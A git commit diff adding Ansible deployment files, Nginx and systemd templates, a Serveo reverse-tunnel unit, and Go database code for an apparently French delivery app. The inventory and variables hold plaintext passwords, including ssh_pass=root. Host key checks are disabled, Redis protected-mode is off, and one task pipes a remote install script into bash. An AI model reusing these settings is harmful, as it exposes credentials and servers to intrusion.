chore: add ansible backend docker frontend-prep

This commit is contained in:
2026-01-21 13:05:13 +01:00
parent 5a280b6b01
commit 943fe4de7d
14930 changed files with 2341433 additions and 0 deletions
+9
View File
@@ -0,0 +1,9 @@
[defaults]
inventory = inventory/host.ini
host_key_checking = False
interpreter_python = auto_silent
[privilege_escalation]
become = True
become_method = sudo
become_user = root
+49
View File
@@ -0,0 +1,49 @@
postgres_version: "16"
postgres_databases:
- name: gestion_db
owner: postgres
postgres_password: "VotreMotDePasseSecure123!"
# Redis Configuration
redis_bind: "127.0.0.1"
redis_port: 6379
redis_maxmemory: "512mb"
redis_maxmemory_policy: "allkeys-lru"
redis_password: "UltrasecretMdp123!"
# ============================================
# Configuration Nginx et Applications
# ============================================
nginx_app_name: "nantais-livraison"
nginx_domain: "{{ ansible_default_ipv4.address }}"
directory: "/home/ubuntu"
tunnel_log: "/var/log/tunnel.log"
tunnel_log_error: "/var/log/tunnel-error.log"
# Chemins des applications (bonnes pratiques)
nginx_frontend_path: "/home/ubuntu/frontend"
backend_dir: "/home/ubuntu/backend"
backend_binary: "/home/ubuntu/backend/main"
docker_dir: "/home/ubuntu/docker"
frontend_port: 5173
backend_dir_docker: "/home/ubuntu/backend/docker"
# Utilisateurs et permissions
user_web: "www-data" # Utilisateur pour les applications web
user_deploy: "ubuntu" # Utilisateur pour le déploiement
user_owner: "root" # Propriétaire des fichiers systemd
docker_user: docker
docker_group: docker
# Backend
backend_port: 8080
# Timeouts
nginx_proxy_timeout: 60
# Cache Duration
nginx_cache_static_duration: "1y"
nginx_cache_media_duration: "1y"
# Upload Size
nginx_max_body_size: "10M"
# Security
nginx_enable_firewall: true
+21
View File
@@ -0,0 +1,21 @@
[all]
vm-postgres ansible_host=192.168.1.65 ansible_user=ubuntu ansible_ssh_pass=root
vm-redis ansible_host=192.168.1.62 ansible_user=ubuntu ansible_ssh_pass=root
vm-nginx ansible_host=192.168.1.67 ansible_user=ubuntu ansible_ssh_pass=root
vm-backend ansible_host=192.168.1.72 ansible_user=ubuntu ansible_ssh_pass=root
[postgres]
vm-postgres ansible_host=192.168.1.65 ansible_user=ubuntu ansible_ssh_pass=root
[redis]
vm-redis ansible_host=192.168.1.62 ansible_user=ubuntu ansible_ssh_pass=root
[nginx]
vm-nginx ansible_host=192.168.1.67 ansible_user=ubuntu ansible_ssh_pass=root
[backend]
vm-backend ansible_host=192.168.1.72 ansible_user=ubuntu ansible_ssh_pass=root
[services]
vm-redis ansible_host=192.168.1.62 ansible_user=ubuntu ansible_ssh_pass=root
vm-postgres ansible_host=192.168.1.65 ansible_user=ubuntu ansible_ssh_pass=root
+228
View File
@@ -0,0 +1,228 @@
---
- name: Installation et configuration du frontend et backend
hosts: backend
become: true
gather_facts: true
tasks:
- name: Update apt cache
apt:
update_cache: yes
cache_valid_time: 3600
- name: Install required packages
apt:
name:
- apt-transport-https
- ca-certificates
- curl
- gnupg
- lsb-release
- software-properties-common
- acl
state: present
- name: Create directory for Docker GPG key
file:
path: /etc/apt/keyrings
state: directory
mode: "0755"
- name: Add Docker GPG key
apt_key:
url: https://download.docker.com/linux/ubuntu/gpg
keyring: /etc/apt/keyrings/docker.gpg
state: present
- name: Get system architecture
command: dpkg --print-architecture
register: system_arch
changed_when: false
- name: Get Ubuntu codename
command: lsb_release -cs
register: ubuntu_codename
changed_when: false
- name: Add Docker repository
apt_repository:
repo: "deb [arch={{ system_arch.stdout }} signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu {{ ubuntu_codename.stdout }} stable"
state: present
filename: docker
- name: Update apt cache after adding repo
apt:
update_cache: yes
- name: Install Docker packages
apt:
name:
- docker-ce
- docker-ce-cli
- containerd.io
- docker-buildx-plugin
- docker-compose-plugin
state: present
- name: Ensure Docker service is started and enabled
systemd:
name: docker
state: started
enabled: yes
- name: Create docker group
group:
name: "{{ docker_group }}"
state: present
- name: Create docker user
user:
name: "{{ docker_user }}"
group: "{{ docker_group }}"
groups: docker
append: yes
shell: /bin/bash
create_home: yes
state: present
- name: Add ansible user to docker group
user:
name: "{{ ansible_user }}"
groups: docker
append: yes
when: ansible_user is defined
- name: Verify Docker installation
command: docker --version
register: docker_version
changed_when: false
- name: Verify Docker Compose installation
command: docker compose version
register: compose_version
changed_when: false
- name: Display versions
debug:
msg:
- "{{ docker_version.stdout }}"
- "{{ compose_version.stdout }}"
- name: Create frontend directory
ansible.builtin.file:
path: "{{ nginx_frontend_path }}"
state: directory
owner: "{{ docker_user }}"
group: "{{ docker_group }}"
mode: "0755"
- name: Create backend directory
ansible.builtin.file:
path: "{{ backend_dir }}"
state: directory
owner: "{{ docker_user }}"
group: "{{ docker_group }}"
mode: "0755"
- name: Synchronize frontend content (excluding node_modules and .git)
ansible.builtin.synchronize:
src: ../frontend-prep
dest: "{{ nginx_frontend_path }}/"
rsync_opts:
- "--exclude=node_modules"
- "--exclude=.git"
- "--exclude=dist"
- "--exclude=build"
delete: no
recursive: yes
tags: sync_frontend
- name: Set ownership for frontend directory
ansible.builtin.file:
path: "{{ nginx_frontend_path }}"
owner: "{{ docker_user }}"
group: "{{ docker_group }}"
recurse: yes
tags: sync_frontend
- name: Synchronize backend content (excluding node_modules and .git)
ansible.builtin.synchronize:
src: ../backend
dest: "{{ backend_dir }}/"
rsync_opts:
- "--exclude=node_modules"
- "--exclude=.git"
- "--exclude=dist"
- "--exclude=build"
delete: no
recursive: yes
tags: sync_backend
- name: Set ownership for backend directory
ansible.builtin.file:
path: "{{ backend_dir }}"
owner: "{{ docker_user }}"
group: "{{ docker_group }}"
recurse: yes
tags: sync_backend
- name: Copy Docker project
ansible.builtin.copy:
src: ../docker/
dest: "{{ docker_dir }}/"
owner: "{{ docker_user }}"
group: "{{ docker_group }}"
mode: "0755"
- name: Ensure parent directory has correct permissions
ansible.builtin.file:
path: "{{ docker_dir }}"
state: directory
owner: "{{ docker_user }}"
group: "{{ docker_group }}"
mode: "0755"
- name: Set correct permissions for Docker files
ansible.builtin.file:
path: "{{ docker_dir }}"
owner: "{{ docker_user }}"
group: "{{ docker_group }}"
recurse: yes
- name: Set permissions for .env file
ansible.builtin.file:
path: "{{ docker_dir }}/docker/.env"
owner: "{{ docker_user }}"
group: "{{ docker_group }}"
mode: "0640"
ignore_errors: yes
- name: Build Docker project
ansible.builtin.command:
cmd: docker compose -f docker-compose-prod.yml build
chdir: "{{ docker_dir }}/docker"
become: yes
become_user: "{{ docker_user }}"
tags: build
- name: Start Docker project
ansible.builtin.command:
cmd: docker compose -f docker-compose-prod.yml up -d
chdir: "{{ docker_dir }}/docker"
become: yes
become_user: "{{ docker_user }}"
tags: start
- name: Show Docker containers
ansible.builtin.command:
cmd: docker compose ps
chdir: "{{ docker_dir }}/docker"
become: yes
become_user: "{{ docker_user }}"
register: docker_ps
tags: start
- name: Display Docker containers
debug:
var: docker_ps.stdout_lines
tags: start
+234
View File
@@ -0,0 +1,234 @@
---
- name: Installation et configuration du frontend et backend
hosts: nginx
become: true
gather_facts: true
tasks:
- name: Update and upgrade
ansible.builtin.apt:
update_cache: yes
cache_valid_time: 3600
upgrade: "dist"
- name: install basic dependencies
ansible.builtin.apt:
name:
- curl
- wget
- tar
- rsync
- acl
state: present
update_cache: yes
- name: Download Go 1.23.0 tarball
ansible.builtin.get_url:
url: https://dl.google.com/go/go1.23.0.linux-amd64.tar.gz
dest: /tmp/go1.23.0.linux-amd64.tar.gz
mode: "0644"
- name: Extract Go 1.23.0
ansible.builtin.unarchive:
src: /tmp/go1.23.0.linux-amd64.tar.gz
dest: /usr/local
remote_src: yes
- name: Ensure Go 1.23 is in PATH for all users
ansible.builtin.lineinfile:
path: /etc/profile.d/go.sh
line: "export PATH=/usr/local/go/bin:$PATH"
create: yes
state: present
mode: "0644"
- name: Setup Node.js 20 repository
ansible.builtin.shell: |
curl -fsSL https://deb.nodesource.com/setup_20.x | bash -
args:
executable: /bin/bash
- name: Install Node.js 20
ansible.builtin.apt:
name: nodejs
state: present
update_cache: yes
dpkg_options: "force-overwrite"
- name: Check Node.js, npm and Go versions
ansible.builtin.shell: |
echo "Node: $(node -v)"
echo "npm: $(npm -v)"
echo "Go: $(go version)"
register: versions_check
changed_when: false
failed_when: versions_check.rc != 0
- name: Display all versions
ansible.builtin.debug:
msg: "{{ versions_check.stdout_lines }}"
# ============================================
# FRONTEND
# ============================================
- name: Create /var/www if not exists
ansible.builtin.file:
path: /var/www
state: directory
owner: root
group: root
mode: "0755"
- name: Ensure /home/ubuntu exists with correct permissions
ansible.builtin.file:
path: /home/ubuntu
state: directory
owner: "{{ user_deploy }}"
group: "{{ user_deploy }}"
mode: "0755"
- name: Remove old frontend directory if exists
ansible.builtin.file:
path: "{{ nginx_frontend_path }}"
state: absent
- name: Create frontend directory with deploy user ownership
ansible.builtin.file:
path: "{{ nginx_frontend_path }}"
state: directory
owner: "{{ user_deploy }}"
group: "{{ user_deploy }}"
mode: "0755"
- name: Synchronize frontend content (excluding node_modules and .git)
ansible.builtin.synchronize:
src: ../frontend/
dest: "{{ nginx_frontend_path }}/"
rsync_opts:
- "--exclude=node_modules"
- "--exclude=.git"
- "--exclude=dist"
- "--exclude=build"
delete: no
recursive: yes
tags:
- syncro
- name: Install npm dependencies as deploy user
become_user: "{{ user_deploy }}"
ansible.builtin.shell: |
export PATH=/usr/local/go/bin:$PATH
npm install
npm run build
args:
chdir: "{{ nginx_frontend_path }}"
executable: /bin/bash
- name: Set ownership to www-data for runtime
ansible.builtin.file:
path: "{{ nginx_frontend_path }}"
owner: "{{ user_web }}"
group: "{{ user_web }}"
mode: "0755"
recurse: yes
# ============================================
# BACKEND
# ============================================
- name: Remove old backend directory if exists
ansible.builtin.file:
path: "{{ backend_dir }}"
state: absent
- name: Create backend directory with deploy user ownership
ansible.builtin.file:
path: "{{ backend_dir }}"
state: directory
owner: "{{ user_deploy }}"
group: "{{ user_deploy }}"
mode: "0755"
- name: Copy backend files
ansible.builtin.copy:
src: "../backendprod/gestion/"
dest: "{{ backend_dir }}/"
owner: "{{ user_deploy }}"
group: "{{ user_deploy }}"
mode: preserve
directory_mode: "0755"
- name: Compile backend as deploy user
become_user: "{{ user_deploy }}"
ansible.builtin.shell: |
export PATH=/usr/local/go/bin:$PATH
go mod tidy
go build -o main .
args:
chdir: "{{ backend_dir }}"
executable: /bin/bash
tags:
- compile
- name: Set ownership to www-data for runtime
ansible.builtin.file:
path: "{{ backend_dir }}"
owner: "{{ user_web }}"
group: "{{ user_web }}"
mode: "0755"
recurse: yes
- name: Set executable permission on backend binary
ansible.builtin.file:
path: "{{ backend_binary }}"
owner: "{{ user_web }}"
group: "{{ user_web }}"
mode: "0755"
# ============================================
# SYSTEMD SERVICES
# ============================================
- name: Create systemd service for backend
ansible.builtin.template:
src: ./templates/backend.service.j2
dest: /etc/systemd/system/backend.service
owner: root
group: root
mode: "0644"
- name: Reload systemd daemon
ansible.builtin.systemd:
daemon_reload: yes
- name: Enable and restart frontend service
ansible.builtin.systemd:
name: frontend
enabled: yes
state: restarted
- name: Enable and restart backend service
ansible.builtin.systemd:
name: backend
enabled: yes
state: restarted
- name: Wait for backend to be ready
ansible.builtin.wait_for:
port: "{{ backend_port }}"
delay: 2
timeout: 30
- name: Display service status
ansible.builtin.shell: |
echo "=== Frontend Service ==="
systemctl status frontend --no-pager || true
echo ""
echo "=== Backend Service ==="
systemctl status backend --no-pager || true
register: service_status
changed_when: false
- name: Show service status
ansible.builtin.debug:
msg: "{{ service_status.stdout_lines }}"
+108
View File
@@ -0,0 +1,108 @@
---
- name: Installation et configuration de Nginx
hosts: nginx
become: true
gather_facts: true
tasks:
- name: Installer Nginx
ansible.builtin.apt:
name: nginx
state: present
update_cache: yes
- name: Créer le répertoire frontend
ansible.builtin.file:
path: "{{ nginx_frontend_path }}"
state: directory
owner: www-data
group: www-data
mode: "0755"
- name: Créer le répertoire de logs
ansible.builtin.file:
path: /var/log/nginx
state: directory
owner: www-data
group: adm
mode: "0755"
- name: Supprimer la config par défaut
ansible.builtin.file:
path: /etc/nginx/sites-enabled/default
state: absent
- name: Créer la configuration Nginx
ansible.builtin.template:
src: ./templates/nginx.conf.j2
dest: /etc/nginx/sites-available/{{ nginx_app_name }}
notify: Recharger Nginx
- name: Activer la configuration
ansible.builtin.file:
src: /etc/nginx/sites-available/{{ nginx_app_name }}
dest: /etc/nginx/sites-enabled/{{ nginx_app_name }}
state: link
notify: Recharger Nginx
- name: Configurer Nginx global settings
lineinfile:
path: /etc/nginx/nginx.conf
regexp: "{{ item.regexp }}"
line: "{{ item.line }}"
insertafter: "http {"
loop:
- {
regexp: '^\s*server_tokens',
line: " server_tokens off;",
}
- {
regexp: '^\s*client_max_body_size',
line: " client_max_body_size {{ nginx_max_body_size }};",
}
notify: Recharger Nginx
- name: Tester la configuration Nginx
command: nginx -t
register: nginx_test
changed_when: false
- name: Afficher le résultat du test
debug:
var: nginx_test.stderr_lines
- name: Démarrer Nginx
ansible.builtin.systemd:
name: nginx
state: started
enabled: yes
- name: Configurer UFW - Autoriser HTTP
ansible.builtin.ufw:
rule: allow
port: "80"
proto: tcp
when: nginx_enable_firewall | default(true)
- name: Configurer UFW - Bloquer accès direct au backend
ansible.builtin.ufw:
rule: deny
port: "{{ backend_port }}"
proto: tcp
from_ip: any
when: nginx_enable_firewall | default(true)
- name: Configurer le tunnel
ansible.builtin.template:
src: tunnel.conf.j2
dest: /etc/tunnel.conf
owner: root
group: root
mode: 0644
notify: Recharger Nginx
handlers:
- name: Recharger Nginx
systemd:
name: nginx
state: reloaded
+229
View File
@@ -0,0 +1,229 @@
---
# ============================================
# PostgreSQL Installation (vm-postgres uniquement)
# ============================================
- name: Installation et configuration de PostgreSQL
hosts: postgres
become: true
gather_facts: true
tasks:
- name: Installer les dépendances système
apt:
name:
- wget
- gnupg2
- lsb-release
- ca-certificates
- apt-transport-https
- acl # Nécessaire pour become_user
state: present
update_cache: yes
- name: Ajouter la clé GPG du dépôt PostgreSQL
apt_key:
url: https://www.postgresql.org/media/keys/ACCC4CF8.asc
state: present
- name: Ajouter le dépôt PostgreSQL
apt_repository:
repo: "deb http://apt.postgresql.org/pub/repos/apt {{ ansible_distribution_release }}-pgdg main"
state: present
filename: pgdg
- name: Installer PostgreSQL {{ postgres_version }}
apt:
name:
- postgresql-{{ postgres_version }}
- postgresql-contrib-{{ postgres_version }}
- python3-psycopg2
state: present
update_cache: yes
- name: S'assurer que PostgreSQL est démarré
systemd:
name: postgresql
state: started
enabled: yes
- name: Définir le mot de passe du user postgres
postgresql_user:
name: postgres
password: "{{ postgres_password }}"
state: present
become_user: postgres
- name: Créer les bases de données PostgreSQL
postgresql_db:
name: "{{ item.name }}"
owner: postgres
state: present
loop: "{{ postgres_databases }}"
become_user: postgres
- name: Configurer pg_hba.conf pour autoriser le backend
blockinfile:
path: "/etc/postgresql/{{ postgres_version }}/main/pg_hba.conf"
block: |
# Connexions locales
local all postgres peer
host all postgres 127.0.0.1/32 scram-sha-256
# Connexions backend LAN
host all postgres 192.168.1.0/24 scram-sha-256
marker: "# {mark} ANSIBLE MANAGED BLOCK"
notify: Redémarrer PostgreSQL
tags:
- reload
- name: Configurer PostgreSQL pour écouter sur toutes les interfaces
lineinfile:
path: "/etc/postgresql/{{ postgres_version }}/main/postgresql.conf"
regexp: "^#?listen_addresses"
line: "listen_addresses = '*'"
state: present
notify: Redémarrer PostgreSQL
tags:
- reload
handlers:
- name: Redémarrer PostgreSQL
systemd:
name: postgresql
state: restarted
tags:
- reload
# ============================================
# Redis Installation (vm-redis uniquement)
# ============================================
- name: Installation et configuration de Redis
hosts: redis
become: true
gather_facts: true
tasks:
- name: Installer Redis
apt:
name:
- redis-server
- python3-redis
state: present
update_cache: yes
- name: Créer le répertoire de backup Redis
file:
path: /var/lib/redis/backup
state: directory
owner: redis
group: redis
mode: "0755"
- name: Configurer Redis - bind address (accepter connexions réseau)
lineinfile:
path: /etc/redis/redis.conf
regexp: "^bind"
line: "bind 127.0.0.1 192.168.1.62"
state: present
notify: Redémarrer Redis
- name: Configurer Redis - port
lineinfile:
path: /etc/redis/redis.conf
regexp: "^port"
line: "port {{ redis_port }}"
state: present
notify: Redémarrer Redis
- name: Configurer Redis - maxmemory
lineinfile:
path: /etc/redis/redis.conf
regexp: "^# ?maxmemory"
line: "maxmemory {{ redis_maxmemory }}"
state: present
notify: Redémarrer Redis
- name: Configurer Redis - maxmemory-policy
lineinfile:
path: /etc/redis/redis.conf
regexp: "^# ?maxmemory-policy"
line: "maxmemory-policy {{ redis_maxmemory_policy }}"
state: present
notify: Redémarrer Redis
- name: Configurer Redis - requirepass
lineinfile:
path: /etc/redis/redis.conf
regexp: "^# ?requirepass"
line: "requirepass {{ redis_password }}"
state: present
notify: Redémarrer Redis
- name: Activer AOF (Append Only File) pour Redis
lineinfile:
path: /etc/redis/redis.conf
regexp: "^appendonly"
line: "appendonly yes"
state: present
notify: Redémarrer Redis
- name: Configurer la fréquence de sync AOF
lineinfile:
path: /etc/redis/redis.conf
regexp: "^# ?appendfsync"
line: "appendfsync everysec"
state: present
notify: Redémarrer Redis
- name: Activer la persistance RDB (snapshots)
blockinfile:
path: /etc/redis/redis.conf
block: |
save 900 1
save 300 10
save 60 10000
marker: "# {mark} ANSIBLE MANAGED RDB PERSISTENCE"
notify: Redémarrer Redis
- name: Configurer le nom du fichier AOF
lineinfile:
path: /etc/redis/redis.conf
regexp: "^appendfilename"
line: 'appendfilename "appendonly.aof"'
state: present
notify: Redémarrer Redis
- name: Désactiver le mode protégé Redis
lineinfile:
path: /etc/redis/redis.conf
regexp: "^protected-mode"
line: "protected-mode no"
state: present
notify: Redémarrer Redis
- name: Configurer le répertoire de travail Redis
lineinfile:
path: /etc/redis/redis.conf
regexp: "^dir"
line: "dir /var/lib/redis"
state: present
notify: Redémarrer Redis
- name: Définir le niveau de log
lineinfile:
path: /etc/redis/redis.conf
regexp: "^loglevel"
line: "loglevel notice"
state: present
notify: Redémarrer Redis
- name: S'assurer que Redis est démarré
systemd:
name: redis-server
state: started
enabled: yes
handlers:
- name: Redémarrer Redis
systemd:
name: redis-server
state: restarted
+12
View File
@@ -0,0 +1,12 @@
[Unit]
Description=Backend Golang API
After=network.target
[Service]
User={{ user_owner }}
WorkingDirectory={{ backend_dir }}
ExecStart={{ backend_binary }}
Restart=always
[Install]
WantedBy=multi-user.target
+14
View File
@@ -0,0 +1,14 @@
[Unit]
Description=Frontend React Production (Vite)
After=network.target
[Service]
User={{ user_owner }}
Group={{ user_owner }}
WorkingDirectory={{ nginx_frontend_path }}
ExecStart=/usr/bin/npm run preview -- --port {{ frontend_port }}
Restart=always
Environment=NODE_ENV=production
[Install]
WantedBy=multi-user.target
+79
View File
@@ -0,0 +1,79 @@
upstream backend {
server 127.0.0.1:{{ backend_port }} max_fails=3 fail_timeout=30s;
keepalive 32;
}
server {
listen 80;
listen [::]:80;
server_name {{ nginx_domain }};
root {{ nginx_frontend_path }}/dist;
index index.html;
access_log /var/log/nginx/{{ nginx_app_name }}.access.log;
error_log /var/log/nginx/{{ nginx_app_name }}.error.log;
client_max_body_size {{ nginx_max_body_size }};
location /api/ {
limit_except GET POST PUT DELETE PATCH OPTIONS {
deny all;
}
proxy_pass http://backend/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_connect_timeout {{ nginx_proxy_timeout }}s;
proxy_send_timeout {{ nginx_proxy_timeout }}s;
proxy_read_timeout {{ nginx_proxy_timeout }}s;
proxy_buffering on;
proxy_buffer_size 4k;
proxy_buffers 8 4k;
proxy_no_cache 1;
proxy_cache_bypass 1;
}
location / {
try_files $uri $uri/ /index.html;
add_header Cache-Control "no-cache, no-store, must-revalidate";
}
location ~* \.(css|js)$ {
expires {{ nginx_cache_static_duration }};
add_header Cache-Control "public, immutable";
access_log off;
}
location ~* \.(jpg|jpeg|png|gif|ico|svg|woff|woff2|ttf|eot)$ {
expires {{ nginx_cache_media_duration }};
add_header Cache-Control "public, immutable";
access_log off;
}
location = /health {
access_log off;
return 200 "healthy\n";
add_header Content-Type text/plain;
}
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
location ~ /\. {
deny all;
access_log off;
log_not_found off;
}
location ~* (\.env|\.git|package\.json|package-lock\.json|yarn\.lock)$ {
deny all;
}
}
+25
View File
@@ -0,0 +1,25 @@
[Unit]
Description=Serveo Tunnel Service
After=network-online.target nginx.service
Wants=network-online.target
[Service]
Type=simple
User=ubuntu
WorkingDirectory={{directory}}
ExecStart=/usr/bin/ssh \
-o ServerAliveInterval=60 \
-o ServerAliveCountMax=3 \
-o ExitOnForwardFailure=yes \
-o StrictHostKeyChecking=no \
-R {{nginx_app_name}}:80:{{nginx_domain}}:80 \
serveo.net
Restart=always
RestartSec=10
StandardOutput=append:{{tunnel_log}}
StandardError=append:{{tunnel_log_error}}
[Install]
WantedBy=multi-user.target
+5
View File
@@ -0,0 +1,5 @@
img.jpg
video.mp4
s.sh
.env
uploads/
+188
View File
@@ -0,0 +1,188 @@
package db
import (
"fmt"
"gestion/models"
)
func (d *Database) CreateAlert(username string) (models.AlertPolicy, error) {
query := `
INSERT INTO alerte_policy (username, status)
VALUES ($1, 'true')
RETURNING id, username, status, created_at, updated_at
`
var alert models.AlertPolicy
err := d.QueryRow(query, username).Scan(&alert.ID, &alert.Username, &alert.Status, &alert.CreatedAt, &alert.UpdatedAt)
if err != nil {
return models.AlertPolicy{}, err
}
return alert, nil
}
func (d *Database) GetAlertPolicy(id int) (models.AlertPolicy, error) {
query := `
SELECT id, username, status, created_at, updated_at
FROM alerte_policy
WHERE id = $1
`
var alert models.AlertPolicy
err := d.QueryRow(query, id).Scan(&alert.ID, &alert.Username, &alert.Status, &alert.CreatedAt, &alert.UpdatedAt)
if err != nil {
return models.AlertPolicy{}, err
}
return alert, nil
}
func (d *Database) GetAllAlerts() ([]models.AlertPolicy, error) {
query := `
SELECT id, username, status, created_at, updated_at
FROM alerte_policy
`
rows, err := d.Query(query)
if err != nil {
return nil, err
}
defer rows.Close()
var alerts []models.AlertPolicy
for rows.Next() {
var alert models.AlertPolicy
err := rows.Scan(&alert.ID, &alert.Username, &alert.Status, &alert.CreatedAt, &alert.UpdatedAt)
if err != nil {
return nil, err
}
alerts = append(alerts, alert)
}
return alerts, nil
}
func (d *Database) DeleteAlertPolicy(id int) error {
query := `
UPDATE alerte_policy
SET status = 'false', updated_at = CURRENT_TIMESTAMP
WHERE id = $1
`
_, err := d.Exec(query, id)
if err != nil {
return err
}
return nil
}
// EndAlert met fin à une alerte en changeant son statut à 'false'
func (d *Database) EndAlert(id int) error {
query := `
UPDATE alerte_policy
SET status = 'false', updated_at = CURRENT_TIMESTAMP
WHERE id = $1 AND status = 'true'
`
result, err := d.Exec(query, id)
if err != nil {
return err
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return err
}
if rowsAffected == 0 {
return fmt.Errorf("alerte non trouvée ou déjà terminée")
}
return nil
}
// ActivateAlert active une alerte en changeant son statut à 'true'
func (d *Database) ActivateAlert(id int) error {
query := `
UPDATE alerte_policy
SET status = 'true', updated_at = CURRENT_TIMESTAMP
WHERE id = $1 AND status = 'false'
`
result, err := d.Exec(query, id)
if err != nil {
return err
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return err
}
if rowsAffected == 0 {
return fmt.Errorf("alerte non trouvée ou déjà active")
}
return nil
}
// GetActiveAlerts récupère toutes les alertes actives (status = 'true')
func (d *Database) GetActiveAlerts() ([]models.AlertPolicy, error) {
query := `
SELECT id, username, status, created_at, updated_at
FROM alerte_policy
WHERE status = 'true'
ORDER BY created_at DESC
`
rows, err := d.Query(query)
if err != nil {
return nil, err
}
defer rows.Close()
var alerts []models.AlertPolicy
for rows.Next() {
var alert models.AlertPolicy
err := rows.Scan(&alert.ID, &alert.Username, &alert.Status, &alert.CreatedAt, &alert.UpdatedAt)
if err != nil {
return nil, err
}
alerts = append(alerts, alert)
}
return alerts, nil
}
// GetAlertsByUsername récupère toutes les alertes d'un livreur
func (d *Database) GetAlertsByUsername(username string) ([]models.AlertPolicy, error) {
query := `
SELECT id, username, status, created_at, updated_at
FROM alerte_policy
WHERE username = $1
ORDER BY created_at DESC
`
rows, err := d.Query(query, username)
if err != nil {
return nil, err
}
defer rows.Close()
var alerts []models.AlertPolicy
for rows.Next() {
var alert models.AlertPolicy
err := rows.Scan(&alert.ID, &alert.Username, &alert.Status, &alert.CreatedAt, &alert.UpdatedAt)
if err != nil {
return nil, err
}
alerts = append(alerts, alert)
}
return alerts, nil
}
+367
View File
@@ -0,0 +1,367 @@
package db
import (
"database/sql"
"fmt"
"gestion/models"
"log"
"time"
)
// AddProductInBasket ajoute un produit au panier de l'utilisateur
func (d *Database) AddProductInBasket(username, nameProduct string, quantity float64, category string) (*models.Panier, error) {
// Rechercher le produit par son nom et catégorie
var productID int
productQuery := `SELECT id FROM products WHERE name = $1 AND category = $2`
err := d.QueryRow(productQuery, nameProduct, category).Scan(&productID)
if err == sql.ErrNoRows {
return nil, fmt.Errorf("produit '%s' non trouvé dans la catégorie '%s'", nameProduct, category)
}
if err != nil {
return nil, fmt.Errorf("erreur lors de la recherche du produit: %w", err)
}
// Récupérer le prix correct selon la quantité
price, err := d.GetProductPrice(nameProduct, category, quantity)
if err != nil {
return nil, fmt.Errorf("erreur récupération prix: %w", err)
}
// Vérifier si le produit existe déjà dans le panier
var existingID int
var existingQuantity float64
checkQuery := `SELECT id, quantity FROM baskets WHERE username = $1 AND product_id = $2`
err = d.QueryRow(checkQuery, username, productID).Scan(&existingID, &existingQuantity)
if err == nil {
// Produit déjà dans le panier : mettre à jour quantité et prix
newQuantity := existingQuantity + quantity
updateQuery := `UPDATE baskets SET quantity = $1, price = $2, created_at = CURRENT_TIMESTAMP
WHERE id = $3 RETURNING id, username, product_id, quantity, price, created_at`
var basket models.Panier
err = d.QueryRow(updateQuery, newQuantity, price, existingID).Scan(
&basket.ID,
&basket.Username,
&basket.ProductID,
&basket.Quantity,
&basket.Price,
&basket.CreatedAt,
)
if err != nil {
return nil, fmt.Errorf("erreur lors de la mise à jour du panier: %w", err)
}
return &basket, nil
}
// Produit non présent : l'ajouter
insertQuery := `INSERT INTO baskets (username, product_id, quantity, price, created_at)
VALUES ($1, $2, $3, $4, CURRENT_TIMESTAMP)
RETURNING id, username, product_id, quantity, price, created_at`
var basket models.Panier
err = d.QueryRow(insertQuery, username, productID, quantity, price).Scan(
&basket.ID,
&basket.Username,
&basket.ProductID,
&basket.Quantity,
&basket.Price,
&basket.CreatedAt,
)
if err != nil {
return nil, fmt.Errorf("erreur lors de l'ajout au panier: %w", err)
}
return &basket, nil
}
// GetProductPrice récupère le prix réel d'un produit pour une quantité donnée
func (d *Database) GetProductPrice(name, category string, quantity float64) (float64, error) {
var price float64
query := `
SELECT price
FROM product_prices pp
INNER JOIN products p ON pp.product_id = p.id
WHERE LOWER(p.name) = LOWER($1)
AND LOWER(p.category) = LOWER($2)
AND pp.quantity <= $3
ORDER BY pp.quantity DESC
LIMIT 1
`
err := d.QueryRow(query, name, category, quantity).Scan(&price)
if err != nil {
return 0, fmt.Errorf("prix produit introuvable pour %f %s: %w", quantity, name, err)
}
return price, nil
}
func (d *Database) GetProductStock(name, category string) (float64, error) {
var stock float64
query := `SELECT stock FROM products WHERE name = $1 AND category = $2`
err := d.QueryRow(query, name, category).Scan(&stock)
if err != nil {
return 0, fmt.Errorf("produit non trouvé: %w", err)
}
return stock, nil
}
func (d *Database) DecrementProductStock(name, category string, quantity float64) error {
query := `UPDATE products SET stock = stock - $1 WHERE name = $2 AND category = $3 AND stock >= $1`
result, err := d.Exec(query, quantity, name, category)
if err != nil {
return fmt.Errorf("erreur mise à jour stock: %w", err)
}
rows, _ := result.RowsAffected()
if rows == 0 {
return fmt.Errorf("stock insuffisant pour le produit")
}
return nil
}
// GetAllProductsInBasket récupère tous les produits du panier d'un utilisateur
func (d *Database) GetAllProductsInBasket(username string) ([]models.Panier, error) {
query := `SELECT b.id, b.username, b.product_id, b.quantity, b.price, b.created_at,
p.name, p.category, p.description
FROM baskets b
INNER JOIN products p ON b.product_id = p.id
WHERE b.username = $1
ORDER BY b.created_at DESC`
rows, err := d.Query(query, username)
if err != nil {
return nil, fmt.Errorf("erreur lors de la récupération du panier: %w", err)
}
defer rows.Close()
var baskets []models.Panier
for rows.Next() {
var basket models.Panier
err := rows.Scan(
&basket.ID,
&basket.Username,
&basket.ProductID, // ✔ FIX MAJEUR
&basket.Quantity,
&basket.Price,
&basket.CreatedAt,
&basket.ProductName,
&basket.Category,
&basket.Description,
)
if err != nil {
return nil, fmt.Errorf("erreur lors du scan du panier: %w", err)
}
baskets = append(baskets, basket)
}
if err = rows.Err(); err != nil {
return nil, fmt.Errorf("erreur lors de l'itération des résultats: %w", err)
}
return baskets, nil
}
// DecrementProductStockByID décrémente le stock d'un produit par son ID de manière sécurisée (évite race condition)
func (d *Database) DecrementProductStockByID(productID int, quantity float64) error {
query := `
UPDATE products
SET stock = stock - $1
WHERE id = $2
AND stock >= $1
`
result, err := d.Exec(query, quantity, productID)
if err != nil {
return fmt.Errorf("erreur lors de la mise à jour du stock: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return fmt.Errorf("erreur lors de la vérification du stock affecté: %w", err)
}
if rowsAffected == 0 {
return fmt.Errorf("stock insuffisant pour le produit %d", productID)
}
return nil
}
